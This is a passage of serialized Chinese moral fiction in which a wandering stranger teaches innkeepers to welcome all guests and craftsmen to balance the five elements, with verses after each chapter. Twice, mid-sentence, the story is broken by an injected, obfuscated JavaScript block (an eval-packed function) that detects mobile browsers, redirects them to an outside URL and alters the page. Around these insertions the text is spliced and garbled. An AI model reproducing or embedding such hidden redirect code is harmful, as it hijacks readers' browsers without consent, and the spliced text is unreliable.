他从怀里掏出三块小小的、用桃木刻的牌子,一人给了一个。牌子上刻着四个字:东、南、西、北,中间一个“中”字。 “这个,给你们。挂在店堂,记在心里。迎客时看看,莫忘了四方来客,皆应乎中。” 三人接过,那牌子是桃木刻的,光滑温润,在阳光下泛着暗红的光。 “先生,”东方四方大着胆子问,“您从哪里来?” “从来处来。” “要到哪里去?”西门四方问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿西捧上一碟新蒸的糕:“先生,吃糕,新蒸的,软!” 阿南捧上一壶新沏的茶:“先生,喝茶,新沏的,醇!” 那人一一接过,嗑瓜子,吃糕,喝茶,点头:“好,好。” 东方四方从怀里掏出那块桃木牌,已经用红绳系着,挂在腰间:“先生,您看,我一直戴着。” 西门四方、南宫四方也掏出桃木牌,三块牌子,在阳光下泛着温润的光。 “戴得好。”那人点头,“四方应中,在心不在形。” “先生,”西门四方问,“您这三年,去了哪里?” “走了些地方,见了些店家。”那人说,“有东嫌西嫌的,有南嫌北嫌的,有挑三拣四的,有嫌贫爱富的。看得多了,就想,若是他们都明白四方应中的道理,会不会就不同了?” 众人沉默。 “曰南北,曰西东。此四方,应乎中。”那人缓缓念,“东为春,为生发,当迎。南为夏,为生长,当接。西为秋,为收敛,当待。北为冬,为闭藏,当送。四方来客,皆天地之气。迎之接之待之送之,天地之气自然通畅。店如人身,通则不痛,痛则不通。店门常开,客来八方,这才是生意长久之道。” 他看向三家店堂——东来店车马不绝,西就栈客来客往,南来馆茶客满座。迎得热情,接得周到,待得殷勤。 “你们比从前强。”那人笑了,“东迎西送,南待北奉,这才是开店的正道。” 众人点头,深以为然。 那人从怀里掏出三块小小的、用桃木刻的牌子,刻着“迎、接、待、奉”,送给三个伙计。 “这个,给你们的徒弟。等他们出师了,教他们东迎、南接、西待、北奉。等他们做到了,我再来收。” 三个伙计恭恭敬敬接过。 “先生,”阿南大着胆子问,“您是谁啊?” 那人摸摸他的头:“我是个喜欢看人迎东、接南、待西、奉北的人。” “那……您还会来看我们迎客、接客、待客、奉客么?” “会。”那人站起身,“等你们的徒弟的徒弟,也这样在十字街上迎东、接南、待西、奉北的时候,我还会来。” 他走了,沿着十字街,慢慢地走。阳光洒在青石板上,把他的影子拉得很长。三家的人站在店门口,看着他的背影渐渐消失在人群中。 东方四方忽然说:“你们说,先生教了多少店家?” 西门四方说:“不知道。但我知道,他教的店家,都懂了‘四方应中’。” 南宫四方说:“我也懂了。开店不是挑客,是迎客。客从四方来,笑脸四方迎。” 他们回到店里,伙计们还在忙碌。阿东在迎东边的客,阿西在接西边的客,阿南在待南边的客,新来的伙计在北门口奉茶。阳光照在他们身上,明晃晃的。 尾声四方谣 很多年后,十字街改名叫“四方街”。街心的石板上,刻着十二个大字: 曰南北,曰西东。此四方,应乎中。 常有外乡人问:“这字谁刻的?” 街里的老人会说:“是三家明白人刻的。他们啊,从前只会挑客,后来懂了迎客,生意兴隆,门庭若市。” “怎么迎客?” “东来店迎东接西,待南奉北。西就栈接西迎东,待南奉北。南来馆待南迎北,接东送西。这就是迎客。” 每逢集市,街上的伙计都会唱一首谣: 四方街,三家人, 挑三拣四客不来。 东家挑客店门冷, 西家拣四客房空。 南家嫌客茶馆寂, 三家挑拣无客来。 白衣先生来点化, 曰南北,曰西东。 此四方,应乎中, 三家迎客生意隆。 有个游方的商客路过,听了这谣,去问东来店的东方四方——如今已是街上的老人了。 “老掌柜,这谣里的白衣人,可是位财神?” 东方四方正在门口迎客,闻言停下手,望着热闹的十字街。 “是位教人迎东、接南、待西、奉北的先生。”他说。 “迎客……不是咱们商人的本分么?” “错了。”东方四方说,“迎客是迎客,挑客是挑客。迎客是笑脸迎四方,挑客是冷眼拒八方。笑脸迎,客自来;冷眼拒,客自去。这才是做生意的正理。” 商客似懂非懂。临走时,东方四方送了他一包茶叶,说:“路上喝。记着,茶要热,心要热,客来了,茶奉上,心敞开,生意自然来。” 商客道了谢,揣着茶叶走了。阳光洒在四方街上,人来人往。他回头,看见东方四方站在店门口,对着东来的客笑脸相迎,西往的客热茶相送,南来的客殷勤招待,北往的客细心招呼。阳光照在他身上,像镀了一层金。 也许那位先生,正在某个地方,看人迎东、接南、待西、奉北吧。商客想。 他闻了闻茶叶,清香扑鼻。这迎客的味道,原来就在一碗茶里。 本章诫世 一、 四方真义训 - 曰南北,曰西东 - 此四方,应乎中 - 破解法:为商者,自问“可曾迎东?可曾接南?可曾待西?可曾奉北?”;为民者,自问“可曾心中正?可曾待人公?可曾接物平?可曾处事和?” 二、 三家三嫌 - 东家嫌在“挑剔”——东嫌远,西嫌多,南嫌啰嗦,北嫌挑剔 - 西家嫌在“偏见”——西嫌狡诈,东嫌土气,南嫌小气,北嫌傲慢 - 南家嫌在“苛责”——南嫌吵闹,北嫌挑剔,东嫌挑剔,西嫌粗鲁 - 惕世:多少店家挑肥拣瘦?多少商人嫌贫爱富?多少匠人嫌东嫌西?皆失中也 三、 应中大道 - 深层隐喻:四方者,天地之位。应乎中者,以中为心,应和四方。店在街中,当迎四方客;人在世中,当接八方缘。中不正,则四方不朝;心不开,则万缘不至 - 终极指向:立身处世,在守中正。中者,不偏不倚,不挑不拣。迎东接南,待西奉北,四方来客,一视同仁。如此,则客如云来,缘如潮至 四方偈: 十字街前三家人,挑三拣四客不来。 东家挑客店门冷,西家拣四客房空。 南家嫌客茶馆寂,三家皆失迎客心。 白衣现身来点化,四方应中须分明。 东南西北皆来客,三家迎客生意兴。 后世叹: 曰南北,曰西东,此四方,应乎中。 东家嫌客客不来,西家拣四店门空。 南家嫌客茶馆寂,三家皆忘应中道。 白衣点破迎客理,三年迎客生意隆。 正是: 临河镇中三家人,挑三拣四各执迷。 东家嫌东不迎东,西家嫌西不接西。 南家嫌南不待南,三家皆失应中心。 白衣点化四方义,东南西北皆来客。 三年迎客店门旺,四方街上美名扬。 96.五行谳 楔子·三家失序 河西镇有座“五方院”,院分五进,住着三户匠人:前院是“水作”王师傅,专做漆器;中院是“火作”李师傅,专打铁器;后院是“木作”赵师傅,专做木器。 水作王师傅,名“润生”,四十有五,做漆三代。他有句话常挂嘴边:“水漆相融,火候要准,木胎要正,金嵌要巧,土粉要细。五行齐备,方成好漆器。”可这“五行”,他只对漆说。调漆时,水多了嫌稀,水少了嫌稠;烘漆时,火大了嫌焦,火小了嫌不干;木胎时,木纹不正嫌歪,木纹太正嫌呆;嵌金时,金丝粗了嫌俗,金丝细了嫌弱;调粉时,土粉多了嫌沉,土粉少了嫌浮。 火作李师傅,名“炎生”,四十有三,打铁三代。他也有句话常念叨:“火旺铁熔,水淬要准,木炭要足,金质要纯,土模要实。五行齐备,方成好铁器。”可这“五行”,他只对铁说。熔铁时,火旺了嫌过,火弱了嫌生;淬火时,水多了嫌脆,水少了嫌软;烧炭时,木炭多了嫌烟,木炭少了嫌不热;锻铁时,金质纯了嫌软,金质杂了嫌脆;制模时,土模实了嫌死,土模松了嫌走形。 木作赵师傅,名“林生”,四十有八,做木三代。他更有句口头禅:“木理要顺,水胶要匀,火烤要准,金钉要牢,土漆要平。五行齐备,方成好木器。”可这“五行”,他只对木说。刨木时,木理顺了嫌平,木理不顺嫌糙;上胶时,水胶匀了嫌稀,水胶不匀嫌厚;烤木时,火候准了嫌干,火候不准嫌潮;钉合时,金钉牢了嫌死,金钉不牢嫌松;上漆时,土漆平了嫌亮,土漆不平嫌暗。 这三家,是五方院最“讲五行”的匠人。可三年下来,五行越讲越乱,手艺日衰。水作的漆器开裂,火作的铁器易折,木作的木器变形。院里的邻里看在眼里,摇头叹气。 这是五方院的又一个清晨,朝阳初升,可三家的作坊里,却无半分生气。 一、 水作王家的“水漆” 这日清晨,王润生在漆房里调漆。漆房里摆着七八件半成品,件件漆面开裂。王润生手持漆刷,嘴里训斥着徒弟“水生”:“水要清,漆要匀,火要稳,木要正,金要纯,土要细!你看看这漆,又开裂了!” 水生,十八岁,低头磨漆,嘟囔道:“师傅,水是清的,漆是匀的,火是稳的,木是正的,金是纯的,土是细的,可……” “住口!”王润生一摔漆刷,“五行不调,如何不裂!” 这时,门外进来一人。来人戴着一顶用桐油浸过的竹斗笠,斗笠边缘缀着几片柏叶。身上是件洗得发白的麻布短衫,腰间用草绳系一柄木剑,剑身磨得光滑。脸上蒙着一方葛布,布色灰白,沾着木屑。 “师傅,修漆器。”声音沉沉的。 王润生抬眼一瞥,见是个外乡人,便道:“什么漆器?” 那人从怀里掏出一只漆盒,盒是黑漆,漆面温润如玉,毫无裂纹。 王润生接过,仔细看,脸色渐变:“这漆……是古法?水几分?漆几分?火几分?木几分?金几分?土几分?” “水八分,漆十二分,火六分,木九分,金三分,土二分。”那人说。 “不可能!”王润生摇头,“水八则稀,漆十二则厚,火六则生,木九则硬,金三则多,土二则浮。五行不调,如何不裂?” “可能。”那人指着漆盒,“你看这漆,水清而润,漆匀而亮,火稳而透,木正而韧,金纯而雅,土细而平。五行调和,所以不裂。” 王润生语塞。 “曰水火,木金土。此五行,本乎数。”那人缓缓念出这十二个字,“师傅可知何意?” “自然知道!”王润生挺胸,“水漆相融,火候要准,木胎要正,金嵌要巧,土粉要细!我做漆三代,岂能不知!” “错了。”那人摇头,“五行者,水火木金土。本乎数者,数在调和,不在死守。你这般水多嫌稀,水少嫌稠;火大嫌焦,火小嫌不干;木正嫌呆,木不正嫌歪;金粗嫌俗,金细嫌弱;土多嫌沉,土少嫌浮。这是调和么?这是死守。” 王润生脸上涨红。 “你看这漆盒,”那人抚着漆面,“水八分,是让漆润而不稀。漆十二分,是让漆厚而不滞。火六分,是让漆透而不焦。木九分,是让胎韧而不硬。金三分,是让嵌雅而不俗。土二分,是让粉平而不浮。五行调和,方成此器。” 他转向水生:“小兄弟,你师傅教你五行,可教过你,五行是相生相克,调和为要,不是死守数字?” 水生低头不敢语。 “你这漆器,”那人指着开裂的漆器,“水是清了,可漆不匀;火是稳了,可木不正;金是纯了,可土不细。五行各守其分,却不调和,如何不裂?” 王润生额上冒汗。 那人从怀里掏出一卷泛黄的绢本,递给王润生。绢上写着《五行调和诀》。 “这个给你。里边有调漆和五行的法子。比如:水几分漆润,漆几分漆亮,火几分漆透,木几分漆韧,金几分漆雅,土几分漆平。” 王润生接过,展开一看,第一页就画着五行相生图:水生木,木生火,火生土,土生金,金生水。旁边小字写着:“五行本乎数,数在调和。水润则木生,木生则火旺,火旺则土成,土成则金纯,金纯则水清。五气相生,漆器乃成。” 他看得痴了。 “师傅,”那人道,“你这漆器,不是五行不全,是五行不调。水漆要融,不是水漆要对半分。火候要准,不是火候要死死守。木胎要正,不是木胎要分毫不差。金嵌要巧,不是金嵌要一模一样。土粉要细,不是土粉要粒粒均匀。调和,调和,调而和之,才是五行真义。” 说罢,他收起漆盒:“这盒送你。你按调和之法,再做一件。明日此时,我来看。若还开裂,这盒我收回;若成了,这盒就归你。” 他走了,竹斗笠在晨光中晃动,麻布短衫的下摆扫过门槛。 王润生呆立良久,看着手里的绢本,又看着那只温润的漆盒,忽然把漆刷一扔,蹲在地上,双手抱头。 水生轻轻走过去,递上一碗水:“师傅,喝水。” 王润生抬起头,看着徒弟年轻的脸,看着满屋开裂的漆器,忽然抬手,拍了拍水生的肩:“明日……明日咱们调和试试。” 二、 火作李家的“火铁” 李炎生这日在铁铺里打铁。铁铺里摆着十几件铁器,件件脆而易折。李炎生手持铁锤,嘴里训斥着徒弟“火生”:“火要旺,铁要熔,水要准,木炭要足,金质要纯,土模要实!你看看这铁,又脆了!” 火生,二十岁,低头拉风箱,嘟囔道:“师傅,火是旺的,铁是熔的,水是准的,木炭是足的,金质是纯的,土模是实的,可……” “住口!”李炎生一摔铁锤,“五行不调,如何不脆!” 这时,门外进来一人。还是竹斗笠,麻布短衫,腰间木剑。脸上蒙着葛布,只露出一双眼睛,明亮如星。 “师傅,打把刀。”声音温和。 李炎生抬眼,见是前日在水作王家见过的那人,心里一动,面上堆笑:“客官要什么刀?” “菜刀,要锋利不脆,柔韧不软。” “好嘞!”李炎生让火生去取铁。 那人却摇头:“这铁,火太旺,铁太熔,水太准,木炭太足,金质太纯,土模太实。五行不调,打出来的刀,必脆。” 李炎生脸色一变:“你懂打铁?” “略知一二。”那人从怀里掏出一把短刀,刀身黝黑,刀刃泛着青光,轻轻一弯,柔韧如竹。 李炎生接过,仔细看,脸色渐变:“这刀……是古法?火几分?铁几分?水几分?木炭几分?金质几分?土模几分?” “火七分,铁八分,水五分,木炭六分,金质四分,土模三分。”那人说。 “不可能!”李炎生摇头,“火七则过,铁八则生,水五则脆,木炭六则烟,金质四则杂,土模三则松。五行不调,如何不脆?” “可能。”那人指着短刀,“你看这刀,火旺而不过,铁熔而不生,水淬而不脆,木炭足而无烟,金质纯而不杂,土模实而不松。五行调和,所以不脆。” 李炎生语塞。 “曰水火,木金土。此五行,本乎数。”那人缓缓念出,“师傅可知何意?” “自然知道!”李炎生挺胸,“火旺铁熔,水淬要准,木炭要足,金质要纯,土模要实!我打铁三代,岂能不知!” “错了。”那人摇头,“五行者,水火木金土。本乎数者,数在调和,不在死守。你这般火旺嫌过,火弱嫌生;水多嫌脆,水少嫌软;木炭多嫌烟,木炭少嫌不热;金质纯嫌软,金质杂嫌脆;土模实嫌死,土模松嫌走形。这是调和么?这是死守。” 李炎生脸上发红。 “你看这刀,”那人抚着刀身,“火七分,是让铁熔而不过。铁八分,是让铁韧而不生。水五分,是让铁硬而不脆。木炭六分,是让火足而无烟。金质四分,是让铁坚而不杂。土模三分,是让形定而不松。五行调和,方成此刀。” 他转向火生:“小兄弟,你师傅教你五行,可教过你,五行是相生相克,调和为要,不是死守数字?” 火生低头不敢语。 “你这铁器,”那人指着那些脆而易折的铁器,“火是旺了,可铁不熔;水是准了,可木炭不足;金质是纯了,可土模不实。五行各守其分,却不调和,如何不脆?” 李炎生额上冒汗。 那人从怀里掏出一卷泛黄的绢本,递给李炎生。绢上写着《五行调和诀》。 “这个给你。里边有打铁和五行的法子。比如:火几分铁熔,铁几分铁韧,水几分铁硬,木炭几分火足,金质几分铁坚,土模几分形定。” 李炎生接过,展开一看,第一页就画着五行相生图:木生火,火生土,土生金,金生水,水生木。旁边小字写着:“五行本乎数,数在调和。木足则火旺,火旺则土成,土成则金坚,金坚则水利,水利则木生。五气相生,铁器乃成。” 他看得痴了。 “师傅,”那人道,“你这铁器,不是五行不全,是五行不调。火旺要熔,不是火旺要烧过头。水淬要准,不是水淬要分毫不差。木炭要足,不是木炭要堆成山。金质要纯,不是金质要一丝不杂。土模要实,不是土模要硬如铁。调和,调和,调而和之,才是五行真义。” 说罢,他收起短刀:“这刀送你。你按调和之法,再打一把。明日此时,我来看。若还脆,这刀我收回;若成了,这刀就归你。” 他走了,麻布短衫在风中飘动,木剑的剑穗扫过门槛。 李炎生呆立良久,看着手里的绢本,又看着那把柔韧的短刀,忽然把铁锤一扔,坐在砧前,双手捂脸。 火生轻轻走过去,递上一碗水:“师傅,喝水。” 李炎生抬起头,看着徒弟年轻的脸,看着满铺脆而易折的铁器,忽然抬手,拍了拍火生的肩:“明日……明日咱们调和试试。” 三、 木作赵家的“木器” 赵林生这日在木作里刨木。木作里摆着十几件木器,件件变形开裂。赵林生手持刨子,嘴里训斥着徒弟“木生”:“木要顺,水胶要匀,火烤要准,金钉要牢,土漆要平!你看看这木器,又变形了!” 木生,十九岁,低头磨刨刀,嘟囔道:“师傅,木是顺的,水胶是匀的,火烤是准的,金钉是牢的,土漆是平的,可……” “住口!”赵林生一摔刨子,“五行不调,如何不变!” 这时,门外进来一人。还是竹斗笠,麻布短衫,腰间木剑。脸上蒙着葛布,风尘仆仆。 “师傅,修木器。”声音平平。 赵林生抬眼,见是这两日在水作王家、火作李家见过的那人,心里咯噔一下,面上堆笑:“什么木器?” 那人从怀里掏出一只木匣,匣是紫檀,木理顺直,毫无变形。 赵林生接过,仔细看,脸色渐变:“这木……是古法?木几分?水胶几分?火烤几分?金钉几分?土漆几分?” “木十分,水胶三分,火烤二分,金钉一分,土漆四分。”那人说。 “不可能!”赵林生摇头,“木十则硬,水胶三则稀,火烤二则潮,金钉一则松,土漆四则厚。五行不调,如何不变?” “可能。”那人指着木匣,“你看这木,木理顺而不硬,水胶匀而不稀,火烤透而不潮,金钉牢而不松,土漆平而不厚。五行调和,所以不变。” 赵林生语塞。 “曰水火,木金土。此五行,本乎数。”那人缓缓念出,“师傅可知何意?” “自然知道!”赵林生挺胸,“木理要顺,水胶要匀,火烤要准,金钉要牢,土漆要平!我做木三代,岂能不知!” “错了。”那人摇头,“五行者,水火木金土。本乎数者,数在调和,不在死守。你这般木顺嫌平,木不顺嫌糙;水胶匀嫌稀,水胶不匀嫌厚;火烤准嫌干,火烤不准嫌潮;金钉牢嫌死,金钉不牢嫌松;土漆平嫌亮,土漆不平嫌暗。这是调和么?这是死守。” 赵林生脸上发烫。 “你看这木匣,”那人抚着木面,“木十分,是让木韧而不硬。水胶三分,是让胶匀而不稀。火烤二分,是让木干而不潮。金钉一分,是让钉牢而不死。土漆四分,是让漆平而不厚。五行调和,方成此器。” 他转向木生:“小兄弟,你师傅教你五行,可教过你,五行是相生相克,调和为要,不是死守数字?” 木生低头不敢语。 “你这木器,”那人指着那些变形开裂的木器,“木是顺了,可水胶不匀;火烤是准了,可金钉不牢;土漆是平了,可木理不顺。五行各守其分,却不调和,如何不变?” 赵林生额上冒汗。 那人从怀里掏出一卷泛黄的绢本,递给赵林生。绢上写着《五行调和诀》。 “这个给你。里边有做木和五行的法子。比如:木几分器韧,水胶几分器匀,火烤几分器干,金钉几分器牢,土漆几分器平。” 赵林生接过,展开一看,第一页就画着五行相生图:金生水,水生木,木生火,火生土,土生金。旁边小字写着:“五行本乎数,数在调和。金坚则水利,水利则木生,木生则火旺,火旺则土成,土成则金纯。五气相生,木器乃成。” 他看得痴了。 “师傅,”那人道,“你这木器,不是五行不全,是五行不调。木理要顺,不是木理要笔直如线。水胶要匀,不是水胶要厚薄一致。火烤要准,不是火烤要分毫不差。金钉要牢,不是金钉要钉死不动。土漆要平,不是土漆要光滑如镜。调和,调和,调而和之,才是五行真义。” 说罢,他收起木匣:“这匣送你。你按调和之法,再做一件。明日此时,我来看。若还变形,这匣我收回;若成了,这匣就归你。” 他走了,竹斗笠在阳光下晃动,麻布短衫的下摆扫过门槛。 赵林生呆立良久,看着手里的绢本,又看着那只顺直的木匣,忽然把刨子一放,蹲在地上,双手抱头。 木生轻轻走过去,递上一碗水:“师傅,喝水。” 赵林生抬起头,看着徒弟年轻的脸,看着满屋变形的木器,忽然伸手,接过水碗,声音发哑:“明日……明日咱们调和试试。” 四、 五方院的昼 次日晌午,五方院里热闹起来。水作王家飘出漆香,火作李家传出打铁声,木作赵家响起刨木声。 王润生在漆房里,按《五行调和诀》调漆。水生在一旁递水、递漆、递粉。王润生不再死守数字,而是看漆的浓稠、闻漆的气味、摸漆的滑腻。水八分,漆十二分,火六分,木九分,金三分,土二分——他不再纠结这些数字,而是调和,调和,让水润漆,让漆透木,让木生火,让火融金,让金化土,让土含水。 李炎生在铁铺里,按《五行调和诀》打铁。火生在一旁拉风箱、递铁、递水。李炎生不再死守数字,而是看铁的火色、听铁的声音、试铁的软硬。火七分,铁八分,水五分,木炭六分,金质四分,土模三分——他不再纠结这些数字,而是调和,调和,让火熔铁,让铁淬水,让水生木,让木助火,让火炼金,让金成土。 赵林生在木作里,按《五行调和诀》做木。木生在一旁刨木、上胶、烤木。赵林生不再死守数字,而是看木的纹理、摸木的干湿、听木的声音。木十分,水胶三分,火烤二分,金钉一分,土漆四分——他不再纠结这些数字,而是调和,调和,让木顺纹,让胶匀合,让火烤透,让钉牢实,让漆光滑。 那人来了。还是竹斗笠,麻布短衫,腰间木剑。脸上蒙着葛布,站在院中,看着三家忙碌。 王润生先看见,忙迎出来:“先生!快来看漆!” 李炎生也看见,忙出来:“先生!快来看刀!” 赵林生也出来:“先生!快来看匣!” 那人笑了,走到院中石桌前坐下,从怀里掏出三只小碗,一字排开。 “三位师傅,成了么?”他问。 “成了!成了!”三人齐声道。 王润生捧出一只漆盒,漆面温润,毫无裂纹。李炎生捧出一把菜刀,刀身柔韧,锋利不脆。赵林生捧出一只木匣,木理顺直,毫无变形。 那人一一验看,点头:“好,好,好。” 他指着三只小碗:“你们看这碗,第一只盛水,第二只盛火炭,第三只盛木屑,第四只盛金粉,第五只盛土。五行各在碗中,可成器么?” 三人摇头。 “可若将水、火、木、金、土调和,水润木,木生火,火成土,土生金,金生水,循环往复,则成器。”他缓缓道,“漆器如是,铁器如是,木器亦如是。五行本乎数,数在调和,不在死守。水多则稀,水少则稠,要在润而不稀。火旺则焦,火弱则生,要在透而不焦。木正则呆,木歪则糙,要在顺而不呆。金粗则俗,金细则弱,要在雅而不俗。土多则沉,土少则浮,要在平而不浮。此调和之道也。” 三人肃然。 “你们之前,”那人看着他们,“水嫌稀稠,火嫌旺弱,木嫌正歪,金嫌粗细,土嫌多少。嫌来嫌去,器不成器。如今调和,水润漆,火透铁,木顺理,金雅嵌,土平漆。调和调和,器就成了。可见什么?” 三人摇头。 “可见不是器难成,是心不调。不是五行缺,是五行乱。”那人声音温和,却字字清晰,“五行本乎数,数在调和。调和之道,在心不在数。心中有数,手中有度,眼中有神,则五行自调,器自成。” 三人汗颜。 “曰水火,木金土。此五行,本乎数。”那人念出那十二个字,“数是定数,调和是活法。死守定数,器不成器;活用法度,器乃大成。就这么简单。” 他从怀里掏出三块小小的、用桃木刻的牌子,一人给了一个。牌子上刻着五行相生图,中间一个“和”字。 “这个,给你们。挂在作里,记在心里。做活时看看,莫忘了五行本乎数,数在调和。” 三人接过,那牌子是桃木刻的,光滑温润,在阳光下泛着暗红的光。 “先生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148668|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”王润生大着胆子问,“您从哪里来?” “从来处来。” “要到哪里去?”李炎生问。 “到去处去。” “您是做什么的?”赵林生问。 “我是个看水、看火、看木、看金、看土的人。”那人笑了,“看人怎么调水,怎么和火,怎么顺木,怎么炼金,怎么平土。” 他收起三只小碗:“碗我收走了,道理你们懂了。明日此时,我再来看看,你们的器,是不是真能五行调和。” 他走了,沿着五方院的回廊,慢慢地走。三家的人站在作门口,看着他的背影消失在廊角。 王润生忽然转身,对水生说:“从今往后,水漆相融,火候要准,木胎要正,金嵌要巧,土粉要细——但要调和!” 李炎生对火生说:“从今往后,火旺铁熔,水淬要准,木炭要足,金质要纯,土模要实——但要调和!” 赵林生对木生说:“从今往后,木理要顺,水胶要匀,火烤要准,金钉要牢,土漆要平——但要调和!” 五、 三年后的桃木牌 三年后的五方院,已是河西镇最有名的匠作坊。水作王家的漆器温润如玉,火作李家的铁器柔韧锋利,木作赵家的木器顺直美观。 三家在院中立了块木牌,上书:“五行院”。木牌下,三家师傅常坐在一起喝茶。 王润生说:“水漆调和,关键在润。水多则稀,水少则稠,要润而不稀,稠而不滞。” 李炎生说:“火铁调和,关键在透。火旺则焦,火弱则生,要透而不焦,生而不脆。” 赵林生说:“木器调和,关键在顺。木正则呆,木歪则糙,要顺而不呆,糙而不乱。” 正说着,那人来了。还是竹斗笠,麻布短衫,腰间木剑。只是斗笠更破,短衫更旧,木剑的剑柄磨得发亮。脸上依然蒙着葛布,站在院中,看着热闹的作坊。 三人看见,忙起身:“先生!” 那人点头,声音依旧温和:“都成了。” “托先生的福!”三人齐声道。 那人笑了,在石桌旁坐下,自斟一碗茶,举碗邀天:“天还是那个天。” 三人也举碗。 水生机灵,捧出一只新作的漆盒:“先生,看盒,新作的,润!” 火生捧出一把新打的菜刀:“先生,看刀,新打的,利!” 木生捧出一只新做的木匣:“先生,看匣,新做的,顺!” 那人一一接过,看漆盒温润,试菜刀锋利,摸木匣顺直,点头:“好,好,好。” 王润生从怀里掏出那块桃木牌,已经用红绳系着,挂在腰间:“先生,您看,我一直戴着。” 李炎生、赵林生也掏出桃木牌,三块牌子,在阳光下泛着温润的光。 “戴得好。”那人点头,“五行调和,在心不在形。” “先生,”李炎生问,“您这三年,去了哪里?” “走了些地方,见了些匠人。”那人说,“有死守数字的,有不知调和的,有五行相克的,有手艺失传的。看得多了,就想,若是他们都明白五行调和的道理,会不会就不同了?” 众人沉默。 “曰水火,木金土。此五行,本乎数。”那人缓缓念,“水润下,火炎上,木曲直,金从革,土稼穑。此五行之性也。然水过则滥,火过则焚,木过则折,金过则脆,土过则板。故需调和,以水济火,以火炼金,以金克木,以木疏土,以土制水。相生相克,循环往复,生生不息。匠人之道,亦如是也。” 他看向三家作坊——水作漆香扑鼻,火作铁花四溅,木作刨花飞舞。调和得宜,各成其美。 “你们比从前强。”那人笑了,“水润漆,火透铁,木顺理,这才是匠人的正道。” 众人点头,深以为然。 那人从怀里掏出三块小小的、用桃木刻的牌子,刻着“润、透、顺”,送给三个徒弟。 “这个,给你们的徒弟。等他们出师了,教他们水要润,火要透,木要顺。等他们做到了,我再来收。” 三个徒弟恭恭敬敬接过。 “先生,”木生大着胆子问,“您是谁啊?” 那人摸摸他的头:“我是个喜欢看人调水、和火、顺木、炼金、平土的人。” “那……您还会来看我们调漆、打铁、做木么?” “会。”那人站起身,“等你们的徒弟的徒弟,也这样在水作里调漆,在火作里打铁,在木作里做木的时候,我还会来。” 他走了,沿着五方院的回廊,慢慢地走。阳光洒在青石板上,把他的影子拉得很长。三家的人站在作门口,看着他的背影渐渐消失在廊角。 王润生忽然说:“你们说,先生教了多少匠人?” 李炎生说:“不知道。但我知道,他教的匠人,都懂了‘五行调和’。” 赵林生说:“我也懂了。做活不是死守,是调和。五行调和,器自成。” 他们回到作里,徒弟们还在忙碌。水生在调漆,火生在打铁,木生在刨木。阳光照在他们身上,明晃晃的。 尾声五行谣 很多年后,五方院改名叫“五行院”。院中的石碑上,刻着十二个大字: 曰水火,木金土。此五行,本乎数。 常有外乡的匠人问:“这字谁刻的?” 院里的老人会说:“是三家明白人刻的。他们啊,从前只会死守,后来懂了调和,手艺大成,名扬四方。” “怎么调和?” “水作王家水润漆,火作李家火透铁,木作赵家木顺理。润而不稀,透而不焦,顺而不呆,这就是调和。” 每逢集市,院里的学徒都会唱一首谣: 五行院,三家人, 死守数字器不成。 王家死守漆器裂, 李家死守铁器脆。 赵家死守木器变, 三家死守无成器。 白衣先生来点化, 曰水火,木金土。 此五行,本乎数, 三家调和器大成。 有个游方的老匠路过,听了这谣,去问水作王家的王润生——如今已是院里的老师傅了。 “王师傅,这谣里的白衣人,可是位鲁班?” 王润生正在教徒弟调漆,闻言停下手,望着院中的石碑。 “是位教人调水、和火、顺木、炼金、平土的先生。”他说。 “调和……不是咱们匠人的本分么?” “错了。”王润生说,“死守是死守,调和是调和。死守数字,器不成器;调和水火,器乃大成。这才是匠人的正道。” 老匠似懂非懂。临走时,王润生送了他一只漆盒,说:“路上用。记着,漆要润,火要透,木要顺,金要雅,土要平。五行调和,器自成。” 老匠道了谢,揣着漆盒走了。阳光洒在五行院里,漆香、铁味、木香混在一起,很是好闻。他回头,看见王润生站在作门口,看着水生调漆,漆在盆中,润而不稀,稠而不滞。阳光照在漆面上,泛着温润的光。 也许那位先生,正在某个地方,看人调水、和火、顺木、炼金、平土吧。老匠想。 他闻了闻漆盒,漆香淡淡。这调和的味道,原来就在一漆一木之间。 本章诫世 一、 五行真义训 - 曰水火,木金土 - 此五行,本乎数 - 破解法:为匠者,自问“可曾调水?可曾和火?可曾顺木?可曾炼金?可曾平土?”;为民者,自问“可曾调和性情?可曾平衡心气?可曾理顺思绪?可曾锤炼品格?可曾踏实行事?” 二、 三家三守 - 王家守在“死数”——水多嫌稀,水少嫌稠;火大嫌焦,火小嫌不干 - 李家守在“死规”——木正嫌呆,木歪嫌糙;金粗嫌俗,金细嫌弱 - 赵家守在“死法”——土多嫌沉,土少嫌浮;胶匀嫌稀,胶不匀嫌厚 - 惕世:多少匠人死守成法?多少文人死守格律?多少商人死守旧规?皆失和也 三、 调和大道 - 深层隐喻:五行者,天地之性。本乎数者,数在调和,不在死守。水润下,火炎上,木曲直,金从革,土稼穑,各有其性。然孤阳不生,独阴不长,五行相生相克,调和乃成。匠人制器,如天地生万物,贵在调和 - 终极指向:立身处世,贵在调和。刚柔相济,水火既济,金木相成,土载万物。调和之道,在心不在法,在活不在死。心能调和,则万事可成;心不能和,则万事皆败 五行偈: 五方院前三家人,死守数字器不成。 王家死守漆器裂,李家死守铁器脆。 赵家死守木器变,三家皆忘调和道。 白衣现身来点化,五行本数须分明。 水火木金土相生,三家调和器大成。 后世叹: 曰水火,木金土,此五行,本乎数。 王家死守漆器裂,李家死守铁器脆。 赵家死守木器变,三家皆忘调和义。 白衣点破五行理,三年调和器大成。 正是: 河西镇中三家人,死守数字各执迷。 王家死守水漆裂,李家死守火铁脆。 赵家死守木器变,三家皆忘调和道。 白衣点化五行义,水火木金土相生。 三年调和器大成,五行院中传美名。 